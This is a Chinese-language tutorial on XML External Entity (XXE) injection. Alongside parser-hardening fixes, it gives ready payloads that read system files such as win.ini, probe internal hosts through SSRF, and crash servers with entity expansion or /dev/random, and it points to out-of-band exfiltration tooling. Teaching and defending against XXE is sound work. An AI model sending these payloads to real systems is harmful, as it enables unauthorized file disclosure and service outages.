XXE注入

基本概念

XML

XML 指可扩展标记语言(eXtensible Markup Language)。
方便大家理解,这里与HTML对比着给大家说一下:HTML和XML 为不同的目的而设计,HTML 被设计用来显示数据,其焦点是数据的外观。XML 被设计用来传输和存储数据,其焦点是数据的内容。HTML 旨在显示信息,而 XML 旨在传输信息。

DTD

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD的声明:指XML文档中声明该文档的DTD或DTD来源的部分,可以包含在使用它的XML文档内部,也可以以独立的DTD文档(*.dtd)文档存在。

所以DTD一般认为有两种引用或声明方式:

1、内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
2、外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。
(网上有提到的引用公共DTD其实也算外部引用DTD的一种)

XML基本文档结构

1
2
3
4
5
6
7
8
9
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>
<!--DTD,这部分可选的-->
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<!--文档元素-->
<foo>&xxe;</foo>

什么是xxe

XXE(XML External Entity Injection) XML外部实体注入,XML是一种类似于HTML(超文本标记语言)的可扩展标记语言,是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

漏洞场景

一般可见于登录、注册等页面,通过XML进行传输数据。

特征

1
2
3
Content-Type:text/xml
Content-type:application/xml
<forgot><username>admin</username></forgot>

image-20210710220109467

image-20210710220120028

漏洞案例

当发现可能存在的xxe注入点,我们先来构造一个正常的XML文档:

1
2
<?xml version="1.0" encoding="UTF-8"?>
<user><firstname>rabbit</firstname><lastname>666</lastname></user>

image-20210710220809570

回显正常,说明通过XML进行传输数据。

然后我们来构造一个引用特殊的payload,增加DTD:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "file:///c:/1.txt" >
]>
<user><firstname>&rabbit;</firstname><lastname>666</lastname></user>

image-20210710221058723

回显正常,并且读取到了文件,执行成功。

试着来访问下系统文件:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "file:///c:/windows/win.ini" >
]>
<user><firstname>&rabbit;</firstname><lastname>666</lastname></user>

image-20210710221234500

执行成功。

漏洞利用

XXE漏洞能干什么?

1. 任意文件读取

如上述案例,为最基本的利用。

2. SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造),说白了就是借助漏洞实现内网探测,我在80端口的网站下临时放了我们刚刚的测试文件,简单修改下payload:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://127.0.0.1/1.txt" >
]>
<user><firstname>&rabbit;</firstname><lastname>666</lastname></user>

3. DOS攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
亦或者,如果目标是UNIX系统,

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&xxe;</foo>

如果 XML 解析器尝试使用 /dev/random 文件中的内容来替代实体,则此示例会使服务器(使用 UNIX 系统)崩溃。

4. 远程命令执行

这种情况很少见,并不是传统意义上的任意命令执行,只是因为环境的特殊配置,导致XML与某些命令操作关联,进而造成了命令执行。当PHP环境中的PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,就会造成我们说的这种情况。

漏洞修复

对 XML 解析器进行安全配置,使它不允许将外部实体包含在传入的 XML 文档中。不管是上面语言,抑或是使用了市面是哪种主流XML解析方案,最终的解决方案都可以如此借鉴:
为了避免 XXE injections,应为 XML 代理、解析器或读取器设置下面的属性:

1
2
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

如果不需要 inline DOCTYPE 声明,可使用以下属性将其完全禁用,这种方式显然更直接,我们搭建环境中一直在吐槽DTD被禁用,就是这个意思,DOCTYPE被禁,也就禁掉了DTD的根本:

1
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

XXE进阶

XXE漏洞存在需要满足两个条件

  1. 支持DTD
  2. 数据可操控

前者是我们xxe的必须条件,后者如果我们提交的数据并未通过返回包返回回来,我们也就看不到了,为此,将xxe漏洞又分为回显型和无回显型。

对于这种数据无回显的情况,我们引出OOB攻击的概念,即数据外带(Out of Band)。

利用的两种手段:

  1. 通过自己写一个页面用来接受目标服务器传回的内容,但是实际测试效果并不稳定。
  2. 开源工具:xxeserve

https://github.com/joernchen/xxeserve

利用详情参考 https://mp.weixin.qq.com/s/mq2YO1Xg292n4InBTM0AsQ

参考链接

https://mp.weixin.qq.com/s/mPAFcLm94KgM6S8alB2sTQ

https://mp.weixin.qq.com/s/mq2YO1Xg292n4InBTM0AsQ(推荐)

https://blog.csdn.net/bylfsj/article/details/101441734